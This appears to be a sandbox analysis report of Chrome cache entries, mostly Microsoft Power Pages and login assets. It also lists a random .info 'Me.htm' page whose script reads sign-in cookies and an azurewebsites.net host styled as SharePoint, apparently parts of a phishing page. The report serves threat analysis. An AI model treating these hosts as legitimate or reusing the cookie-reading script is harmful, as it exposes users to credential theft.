https://github.com/Eonasdan/bootstrap-datetimepicker/.. */.bootstrap-datetimepicker-widget{list-style:none}.bootstrap-datetimepicker-widget.dropdown-me

Chrome Cache Entry: 214

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11766), with no line terminators
Category:	downloaded
Size (bytes):	11766
Entropy (8bit):	4.903164552389703
Encrypted:	false
SSDEEP:	192:tCe7qnSnOvg0mkhAeuMRa+ySQJBBzGj6F3lYj6F39j6F3gj:keqnSnSA8ySQJBBzGj6F3lYj6F39j6Fy
MD5:	2659C6F064BBDF38AFF3A3F7D33BA256
SHA1:	73EA787E226F755D9F57DC637AEB5A9D506338CF
SHA-256:	E3A5A5E3432453A9CDCE2A02DD4D7F08037119C6A9AC545D010D3CF73768825A
SHA-512:	F2508AE13D0E19E3BA856F919E05FCF731A2481C13D2FF99FB7843E7CA7CEAA37BE37D07E20C18CFDFE09A4B2DB9EA196A9C179B201C37C85A9F8146FF18D173
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/dist/pcf-style.bundle-2659c6f064.css
Preview:	.msos-open .msos-inner-container:not(.msos-fullscreen) .msos-selection-container{position:absolute!important;z-index:1000;top:28px!important}html[dir=rtl] .msos-open .msos-inner-container:not(.msos-fullscreen) .msos-selection-container{right:0!important}html[dir=ltr] .msos-open .msos-inner-container:not(.msos-fullscreen) .msos-selection-container{left:0!important}.msos-glyph:after{font-size:9px!important}.msos-label{margin-bottom:0}.msos-caret-button:focus{outline:0}.msos-selecteditems-container:focus{outline:0}.msos-container:not(.msos-disabled){border:1px solid #949494;box-shadow:inset 0 1px 1px rgb(0 0 0 /8%);transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s}.msos-container:not(.msos-disabled).msos-active{border:1px solid #949494!important;box-shadow:inset 0 1px 1px rgb(0 0 0 /8%);transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s}.msos-container:not(.msos-disabled).msos-focused{border-color:#69c!important;outline:0;box-shadow:inset 0 1px 1px rgb

Chrome Cache Entry: 215

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	625
Entropy (8bit):	7.484713757728487
Encrypted:	false
SSDEEP:	12:6v/7m/6Ts/rQmK0CiAUo4yVKaqswCDW0WAwsg38up6f0M8o8yXOBwrFuXqam4:b/6vmEVx4yVvDW0is88eHozDrgXqF4
MD5:	1CCFEA34F655127024E56A9182D069B2
SHA1:	F01C37FC36D6F283021BFE2021F884756ACC0830
SHA-256:	DDEB1C61FE3FC1C4195D6AF3CA1514F8EB78DE09E6DE3DBFCC960DDFDA93EE54
SHA-512:	E54442CFC5247B8D7137EB2389CB1E9B66EA2CDF4DBD062BB680D51FB50323CBECB908A6764CA29CEAEBB057C1FEBEE0FB0D7A1E367030531B63CE92B0F9A0C6
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR................a....pHYs.................sRGB.........gAMA......a.....IDATx..R.q.@..=...e:..Dt.+.t.+@. #.'..A.{,U.]Ap.8..T.. .3B.......3.......o.i..n..L.........}..x............Am.p..asd.$..WL.'...I.g.G.-M...c....Q.-..?......^.C..%8.^...(.lW....M..r.....x...'..O..9a..H..L..-.MSD.v.!.1t.{w..S..a..?..1.....q..l.Z.>..fO.t.?...8......9uK..pTU;....f..@..w....6......Dx.....i.._.z..h..b.y.f.S......1...+.0......1....e...,.6%.s...A.@.Qo.#.z.ht.,.K..........X...wn..4t....V.D9}p.}+H.S."..M_.<.H....{Z.Xj....0...g.....Uv.{ng+PWxl....'jkfKB..&..h. ....x...Z@.z.\jq....N........u.W.....IEND.B`.

Chrome Cache Entry: 216

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113424
Category:	downloaded
Size (bytes):	20410
Entropy (8bit):	7.980582012022051
Encrypted:	false
SSDEEP:	384:8RvmaMFysnOXZ2m9zM+udO6GGUpeAU02oDGnN5EsQwWUQGTS8r2k:8pmm7ZFM+ObGGUIjN5PJV3Tp
MD5:	3BA4D76A17ADD0A6C34EE696F28C8541
SHA1:	5E8A4B8334539A7EAB798A7799F6E232016CB263
SHA-256:	17D6FF63DD857A72F37292B5906B40DC087EA27D7B1DEFCFA6DD1BA82AEA0B59
SHA-512:	8DA16A9759BB68A6B408F9F274B882ABB3EE7BA19F888448E495B721094BDB2CE5664E9A26BAE306A00491235EB94C143E53F618CCD6D50307C3C7F2EF1B4455
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css
Preview:	...........}k..6..w...R..J.H=GSI..x.9...}T.....)Q..f<...~.F.h..x..{+.-.....h..n....</v.ev......W.,.bU..rW.I...0x...C..2...6]..W_......../x.........~.z.}.\|.#x......AgO.\|XgU...4 .^'U...mP.A.].Z.U.!..Y.......:.ve.?.!..d.N...xJ...mR......0.@p...lKr/...E.-. .....\|l.4.o.i.......L.iF..T{.n....2....VEY.y=..=..T+V./.b....\....7.sH.w{.h.....!.."F.k.!.......d...mS.rh.&G.../..h&..RE"!.A/.......A....L...8.q.M...t[...R...>.6;R..^.Vu..9.[F........>A.:HT}w]......2........p......'T.^]}.^..yJ>.<..pq..h.\|..j....j.x..-...c...f...=".)..U.X'.M..l.]ZVtl\.I..}.0.~B0Y'.N...E.4.Xd..e...a.........."..9+d.&..l.$E..R.u.g.Q..w&...~I. .y..D.4;..'.."-.....b...)k.n.M...,3J.z_..&2f.h;.&.R.y..P..X.....\P.....r...B.$........<....H5.M.."'#.6mQl..mQ5.=.\...O.....^..jM..u.F..Oh.lNI..j..T..u...I..._........{.\...{..._\|..={O..z..>......x..5Q.D7?{...^...^.......o.=.z......v......z.C...Gtw...0!..M@....^...^.x..G....W...{...)..y.<c3...^>{......7._..'d__...;R.

Chrome Cache Entry: 217

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 142534
Category:	dropped
Size (bytes):	49954
Entropy (8bit):	7.99493321471063
Encrypted:	true
SSDEEP:	1536:vr2T/4LxF17O6lJgX3ys65sBcY++i0RumwzV:Cz4LL1imP56m+i+umwzV
MD5:	E16AC075AC754DBD1CF969508220E30D
SHA1:	69A91FF7A1C044231D6D28B4DD4C6AD3D34F2A50
SHA-256:	E8AC3DCEF9E67CC776542A40C71B719D41668DF41D294C1A49A5AD23C5A5B5EC
SHA-512:	12C4E6E5BD999E7BF431DCA707DA4BB5193D2795DD139DCAFC38CAFA757A88F75068D3F2821840068247B9F6CFB55178EF223CDB3349444E622EA4A8E69700A6
Malicious:	false
Reputation:	low
Preview:	...........m[.8.0........OL....;w.....a.....\N.......h.r~........=........,..JU.......T~.l..?..y..2.X9.\|xvP9...TN.......?.....qe.OE.~Gn,.J.T....0......r..#.V&Qx_I.De.._.8.+S?N..HL..J......%O..S........(=.gO.\|.T.0......6.. ..y....x....8..p.T"1...\|$.Cz..V.D%.Ie.F....^."..5....c...?..T8..._..b.gs.4....S]kDZ..7.J.V..l}..?.....c...g.A...8.......8.VB......^..f..O.... ...`...H.{.$. OP..S..AC.gVE.I8..).-U.....R...A..%.T[...Fc{..49..If...y.'w.Q}..oz..v.....W...pp..%..G.+.r:.A......[.:..s.?U......_............k.y0.U....+I5..0.>.Q%.".w.....O....5w..;.;.>..mr.k53r.......k.0.I.<.D......d&...c..jhE..zx.]....y\|W....i...`.. .k.P...@.Uq.\;..1............z\|.O..Y5..........XtR,....R...k3..<..\.2.>.;T..$...kj.5-.i?/..YH`!jb..Z..=.&.L..F...([..y....K5pzQ.>i.1.......0..P...@...L.".n.x..Cj?..w.:+...n..4..H.. .....S.....h....8....v.l.[M.0..q..c;.....0..*.8.......l.TM..n "..km..S.<.T..].k.+1.....P.V...4-W.C....0-/.S;.w......K.z+...DZ....=q.E.@ .Dv.z...@.d.#tE...

Chrome Cache Entry: 218

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3504), with CRLF line terminators
Category:	downloaded
Size (bytes):	3506
Entropy (8bit):	5.166757803630507
Encrypted:	false
SSDEEP:	96:3qO9I9Sz9KHULI5m4UidBGLQM4ysushswsosry:a2IYz95qTdBaO
MD5:	C258ACE6FE0817DA4C3D229DF32233A1
SHA1:	DEACCF45E0AC204197A8C17E78B592D77FD26E6A
SHA-256:	CE17CB9DCD2E9F70B72412DB3AA24C1A50BACBCEE90379E1FA16B5D43DCF0229
SHA-512:	ED56D8F63B4F1D68980B312A42A01DEE665CD46D86C471A9A832067C88CF25FC7141631D790E425EDFF00C52DBE842B5B8515BBA823E6CEDEAA3FB4DE2827640
Malicious:	false
Reputation:	low
URL:	https://ywnjb.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/Me.htm?v=3
Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 219

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 220

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (13173), with CRLF line terminators
Category:	downloaded
Size (bytes):	31481
Entropy (8bit):	5.386731577274933
Encrypted:	false
SSDEEP:	768:qw9LziZlqaO9QbIcOsVX0Y0wGkG3BtNLZNWyKJv:q6i7qaOeEQ
MD5:	549F23767B3E587116EA7361522F5DF5
SHA1:	7F99B0FB53487406710913663CF0D127E1A9C8EB
SHA-256:	E931A6FDC937DE937DBEAA3B881C84C725798CD2031AD6C1D8F16E97CF62FD04
SHA-512:	21D60A2C52D72FE739BCA154740AA6D8D4A172D128AC48F39D60D3434074FA723C83F8EA3377AA1F0E47015D1F0742BC9CF6DA0311B1E9D9649F85F401EF672A
Malicious:	false
Reputation:	low
URL:	https://documentsharepoint-officeb875553995f4546655-dcc6cegmfqbrgudr.canadaeast-01.azurewebsites.net/
Preview:	<html lang="en-US" dir="ltr" same-site-mode="None" crm-lcid="1033" crm-lang="en-US" data-lang="en-US"><head><style data-merge-styles="true"></style>........<meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge">....<script type="text/javascript">........</script>...<title>.......Home......</title>........<script src="_portal/c42e2911-af52-4c54-a636-71d262c0d207/Resources/ResourceManager%EF%B9%96lang=en-US.js"></script>......<script type="text/javascript">....// Refresh all powerBI Iframes on Login in one Iframe....window.addEventListener('message', function (event) {.....if (event && event.data && event.data == 'refreshPowerBI') {......$("iframe.powerbi").each(function () {.......this.src = this.src;......});.....}....});......// Fix for incorrect viewport width setting in IE 10 on Windows Phone 8.....if (navigator.userAgent.match(/IEMobile\/10\.0/)) {.....var msViewportStyle = document.createElem

Chrome Cache Entry: 221

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	4.495099352744528
Encrypted:	false
SSDEEP:	3:mGTwKdcHteHF7M3EXI1jJKRFFFF9y4I+IKHIJROC7AhXFsKLxmpRwKdcHdFQAn:x0KeMHau+jERwD+hHIJRzAhGQxmkKeQA
MD5:	A0D01046CF6C59450C9379B2FC386E9F
SHA1:	D11CA23D0432A0E9625F2CD6C18574660FE4D5C6
SHA-256:	31C68BC283A3829BCA75EB76E24E5EB38DD1DA242E3B5E31D5DF22384B988EC6
SHA-512:	E9D0594BB809F34BF6C8577F5955CFF26FDA9D9BE4B960B221612F3E6759E72E18D6CB353216822C6F5FF6186278A387EACB4A5D34D80C595F93B2D3C6C8ECC6
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/controls/pcf_loader/manifest-0.0.27.json
Preview:	{. "PcfControlProxy": {. "library": "pcf_loader",. "remoteEntry": "/pcf_loader/remoteEntry.f059681227.js",. "control": "./PcfControlProxy". }.}

Chrome Cache Entry: 222

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57678
Category:	downloaded
Size (bytes):	16378
Entropy (8bit):	7.986541062710992
Encrypted:	false
SSDEEP:	384:hOBEj/gTOkWow647Z1Y8hyJavTiIQslkHC:hOBKJB11Y8heariIQ8ki
MD5:	FC8A7FB6FB26ADEB81D76A33DA13B815
SHA1:	ADEF9857A4FC698836B613252AE8B1FC0EC199DE
SHA-256:	A3D6351A6E93FC23C2A3ABFFCBDC847D42B8781DBFFBCCEEF4FEF72E0D5D4A14
SHA-512:	DE70865494E5D2A32353614CC7D8305CAA83E1605F6BF03C58DD6E19D92FDE8B33B3E26ED3A65D739DEA20984130D39B6E43641B04918CC906DEC17E51B0D582
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_v20ia-gahguvu2fgvxamhg2.js
Preview:	...........}Ms#.......\.@..'F.........3RH2....~......Q.x7...}..'.}..?e#...QU]....Vo..................?........w!......=.G...P.../......8z....q._5....g..}g..31......l*...],.b..;..`...Y....3..5.uGAi..NP.6<.w.(..`...y..d.N.x..^u.....^...?..N........Fq.....z..wgN./..Ep/f..c/.D4~X.W~).s/.E8...T...8,:..Q.p>.....7.....4....Z,&c.)n.[.pcQp...4...&...i.............CkL=.....g..m&vG..p... ....:N`y...ea.,....[......^.../D#(y.....l4.n..,.=_.p2P.....A,..RP..E.T......8 .v....Iw.X..?.r......nk....?Wj..a.\|..........JAs.j......?.)..t.z.-..m.]..3y...3@...'.)...Aa..1.kQ.....l+.....-q..n.p..{^...$..{/...=a..A...4.VH}..SBwju......S..hN.P..-..O,..S7.J,.....p.iLU.6W.....eO.7 ..C...{.E.Z...1...5s.!uY...@^. ,D".N.E......5.NE..\...VQa.A7..X.B..{.q..Ra..S....x(x7.Cp.#.#..:.......D..`,!IGr.. ...z.?.._0O.......;..0.z.h....5.../...q..5.\|..B.OY..k...].Sw.>.".@..!.9.V\|...=.dv.3!sr.....#...X8s.w.\|7..O/....!.."...3.."D..)...[........!^....3(..{...F2'..q.....x........

Chrome Cache Entry: 223

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (28287)
Category:	downloaded
Size (bytes):	856286
Entropy (8bit):	5.353180762698638
Encrypted:	false
SSDEEP:	6144:+jtNO79kt1AgQHKUrG3C3X/9R9RJOXYdrAsj0r0ZgYeNk6G1Xx:+xzKWoX/97RAuAG0r0ZMNk6o
MD5:	9183DA3D63ADCBCA9C451BB60E6E1F10
SHA1:	9207557A291A137EF495DCEF25900E1E5D6F33AA
SHA-256:	66AA8F2E328C6461928C45E81A225A7C857185A6A27119BEBFD3F3C321AD555C
SHA-512:	4E2E8A538841E68A4ED206E324A9896A76EE678D0A4F36EE322786A46149EE4B3271A30262AAFD4713DD4C24AD34FD454BE114460169535A86455DCF891EAE62
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/dist/pcf.bundle-9183da3d63.js
Preview:	!function(n){var r={};function o(e){if(r[e])return r[e].exports;var t=r[e]={i:e,l:!1,exports:{}};return n[e].call(t.exports,t,t.exports,o),t.l=!0,t.exports}o.m=n,o.c=r,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(t,e){if(1&e&&(t=o(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var r in t)o.d(n,r,function(e){return t[e]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=18)}({18:function(e,t,n){n(19).polyfill()},19:function(e,t,n){"use strict";function r(e,t){if

Chrome Cache Entry: 224

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65294), with CRLF line terminators
Category:	downloaded
Size (bytes):	92085
Entropy (8bit):	5.011925941956388
Encrypted:	false
SSDEEP:	1536:aN+LmIeHetKRe5YLbM/0o1u9YK9hwlS1FN8DVrryzoosZZwjb6jpmoXDIWPIvjXa:sIeK17ljFZZwjb6jpmoXDIWPgb+0Le
MD5:	BE8391E97DEA755C86C38DB4E43773D8
SHA1:	3E573E059A8C52A1B7063895562F6A23261F54A0
SHA-256:	BBB5F1A1DF8E94BE934B438B99E27173F2EC270005C7ABE07204BFE0DD64B134
SHA-512:	AB51CA9BDE0B02A96E34F1B1FEC7B8B5D3B688431C9ECF8EE26308E578A952EED1A067CFA8C09433645AD7FC287E72C09E2EF9B72724616F877B5915AD7D2056
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/dist/bootstrap.BootstrapV5.bundle-be8391e97d.js
Preview:	/!.. Bootstrap v5.2.2 (https://getbootstrap.com/).. * Copyright 2011-2022 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors).. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE).. */..!function (t, e) { "object" == typeof exports && "undefined" != typeof module ? module.exports = e() : "function" == typeof define && define.amd ? define(e) : (t = "undefined" != typeof globalThis ? globalThis : t \|\| self).bootstrap = e() }(this, (function () { "use strict"; const t = "transitionend", e = t => { let e = t.getAttribute("data-bs-target"); if (!e \|\| "#" === e) { let i = t.getAttribute("href"); if (!i \|\| !i.includes("#") && !i.startsWith(".")) return null; i.includes("#") && !i.startsWith("#") && (i = `#${i.split("#")[1]}`), e = i && "#" !== i ? i.trim() : null } return e }, i = t => { const i = e(t); return i && document.querySelector(i) ? i : null }, n = t => { const i = e(t); return i ? document.querySelector(i) : null }, s = e => {

Chrome Cache Entry: 225

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6203)
Category:	downloaded
Size (bytes):	7604
Entropy (8bit):	5.300961596455194
Encrypted:	false
SSDEEP:	96:1PMPMUIbvkKuG8LDhJhIR0iwajDFI31Icqgm2EdAfC98nS8kC9KR34o5AaHdDOsa:f/zAPhzujEh0Afu1moVpIFi2D
MD5:	F1ACFD2815BECD7DF8E02C415B9973F7
SHA1:	3CF9577A5B4CBA69C9646967B8855F7A2F137F80
SHA-256:	99A2179570F5B6A4388F0175165C32018D8078E6F97F1591CF3426538361B4D7
SHA-512:	14814E77F88AE5AB750D2D72A447F931FCBF8DB2AA95E77D91E7473C0982BA49FF9983DF6E137A52FFEDE3C490C6BA8948D411C3FCCFF2EDE561C21533690074
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/controls/host/874.d64d28bc67.chunk.js
Preview:	"use strict";(self.webpackChunk_microsoft_powerpages_host=self.webpackChunk_microsoft_powerpages_host\|\|[]).push([[874,493],{7121:e=>{./.object-assign.(c) Sindre Sorhus.@license MIT./.var r=Object.getOwnPropertySymbols,t=Object.prototype.hasOwnProperty,n=Object.prototype.propertyIsEnumerable;e.exports=function(){try{if(!Object.assign)return!1;var e=new String("abc");if(e[5]="de","5"===Object.getOwnPropertyNames(e)[0])return!1;for(var r={},t=0;t<10;t++)r["_"+String.fromCharCode(t)]=t;if("0123456789"!==Object.getOwnPropertyNames(r).map((function(e){return r[e]})).join(""))return!1;var n={};return"abcdefghijklmnopqrst".split("").forEach((function(e){n[e]=e})),"abcdefghijklmnopqrst"===Object.keys(Object.assign({},n)).join("")}catch(e){return!1}}()?Object.assign:function(e,o){for(var u,c,f=function(e){if(null==e)throw new TypeError("Object.assign cannot be called with null or undefined");return Object(e)}(e),l=1;l<arguments.length;l++){for(var i in u=Object(arguments[l]))t.call(u,i)&&(f[i]

Chrome Cache Entry: 226

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	80
Entropy (8bit):	4.509183719779188
Encrypted:	false
SSDEEP:	3:/eOSaKSoyTu1VNK0yTu1UZYf:/DJn6fUT6Bf
MD5:	F4A0E619B855697F4DB1A1B22FE37E8C
SHA1:	3D1CA30185839E05C6D876C7E8477604BFAC6CDA
SHA-256:	CEC86F53B19C31BC124614007553A6EBC5434F9B1D2F03B1DB0393B22AB16EA2
SHA-512:	8FF46BF8D3B93DA72109C92A26D5FF4C8E16FD6CD98FBB0E6A9E7E31E55220E8B2D71B851219199DF9C6D2074137192F55F84B4B89AF9C4C4D1B9D6FDB94EFC5
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/dist/pcf-loader.bundle-f4a0e619b8.js
Preview:	$(()=>{if(window.loadAllPcfControlsOnPage){window.loadAllPcfControlsOnPage()}});

Chrome Cache Entry: 227

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	170
Entropy (8bit):	4.495099352744528
Encrypted:	false
SSDEEP:	3:mGTwKdcHteHF7M3EXI1jJKRFFFF9y4I+IKHIJROC7AhXFsKLxmpRwKdcHdFQAn:x0KeMHau+jERwD+hHIJRzAhGQxmkKeQA
MD5:	A0D01046CF6C59450C9379B2FC386E9F
SHA1:	D11CA23D0432A0E9625F2CD6C18574660FE4D5C6
SHA-256:	31C68BC283A3829BCA75EB76E24E5EB38DD1DA242E3B5E31D5DF22384B988EC6
SHA-512:	E9D0594BB809F34BF6C8577F5955CFF26FDA9D9BE4B960B221612F3E6759E72E18D6CB353216822C6F5FF6186278A387EACB4A5D34D80C595F93B2D3C6C8ECC6
Malicious:	false
Reputation:	low
Preview:	{. "PcfControlProxy": {. "library": "pcf_loader",. "remoteEntry": "/pcf_loader/remoteEntry.f059681227.js",. "control": "./PcfControlProxy". }.}

Chrome Cache Entry: 228

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C++ source, ASCII text, with very long lines (8606)
Category:	downloaded
Size (bytes):	49544
Entropy (8bit):	5.502525607278646
Encrypted:	false
SSDEEP:	1536:kDgTp0cgEP6xY+D3D1vcJrhverr5xCIzKbABkeEvh:kgQEP6xY+D3D1vcJrhverrvKEBkr
MD5:	3F80DA0A75A54EF2AE643C7E06B7616B
SHA1:	F7BD077BB4D30DA0A5B96662ADD1CFD251B6101F
SHA-256:	DFDBEF9F7A31A51D202D7CE4D7AEDFFD1A58CD246D7770B98243343A7CE46285
SHA-512:	0A76CC21467A91B1A409D7335F011BFF7CB79EC6F12BF2702B369B348048B6DA1DF1A26FCD35C31C73062B822D4B1299CEC353D3BAB3D9D5B7B397F5359B7B30
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/controls/host/349.dc388c8b0d.chunk.js
Preview:	"use strict";(self.webpackChunk_microsoft_powerpages_host=self.webpackChunk_microsoft_powerpages_host\|\|[]).push([[349],{4210:(e,t,r)=>{r.r(t),r.d(t,{REACT_DEV_ROOT:()=>Ut,REACT_PROD_ROOT:()=>Mt});var o,n,a,l,i=r(7005),c=r.n(i),d=r(9701),s=r.n(d),u=r(157),g=r(7234),m=r(9431),E=r(7301);!function(e){e.PORTAL_NATIVE_CONTROL="PORTAL_NATIVE_CONTROL",e.PORTAL_NATIVE_CONTROL_MANIFEST="PORTAL_NATIVE_CONTROL_MANIFEST",e.PORTAL_NATIVE_CONTROL_ERROR_BOUNDARY="PORTAL_NATIVE_CONTROL_ERROR_BOUNDARY",e.PORTAL_NATIVE_CONTROL_GRID_QUERY="PORTAL_NATIVE_CONTROL_GRID_QUERY",e.PORTAL_NATIVE_CONTROL_THEME="PORTAL_NATIVE_CONTROL_THEME",e.CARD_GALLERY_CONTROL="CARD_GALLERY_CONTROL",e.AI_SUMMARY_FEEDBACK="AI_SUMMARY_FEEDBACK",e.AI_FORMS_DRAFT_ASSISTANCE="AI_FORMS_DRAFT_ASSISTANCE",e.AI_LIST_VISUALIZATION="AI_LIST_VISUALIZATION",e.NATIVE_SEARCH="NATIVE_SEARCH",e.AI_FORMS_FILL_ASSISTANCE="AI_FORMS_FILL_ASSISTANCE"}(o\|\|(o={})),function(e){e.NATIVE_SEARCH_API="NATIVE_SEARCH_API",e.NATIVE_SEARCH_SUMMARY_API="NATIVE_

Chrome Cache Entry: 229

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 15755
Category:	dropped
Size (bytes):	5525
Entropy (8bit):	7.961202222662501
Encrypted:	false
SSDEEP:	96:dySl6/e7OAQD3cS66g8cxO4qXgy66F0+fgENU28TjN3KY6meSsj0ktMvB4YJix2I:dNl6/zFDW6dlXV665ReB67j0sEBWxl
MD5:	28CE5BF8BACB96D1C2CFA0092145C6EE
SHA1:	303A4629C4467AF2C551EC9E6353464C8C25827D
SHA-256:	6B89EEC14865DB53FE20FB3C70B0853362E21669DACE19C06172F673B2EDC5CD
SHA-512:	6A10794F105EF5C6F7F7DC2C89152A8342E6D9D8D9490783863ED2737FFD5982E916F72E0A9ECB944AB9815FA70BD20C7256A91E2A62D971F80C23822B809A02
Malicious:	false
Reputation:	low
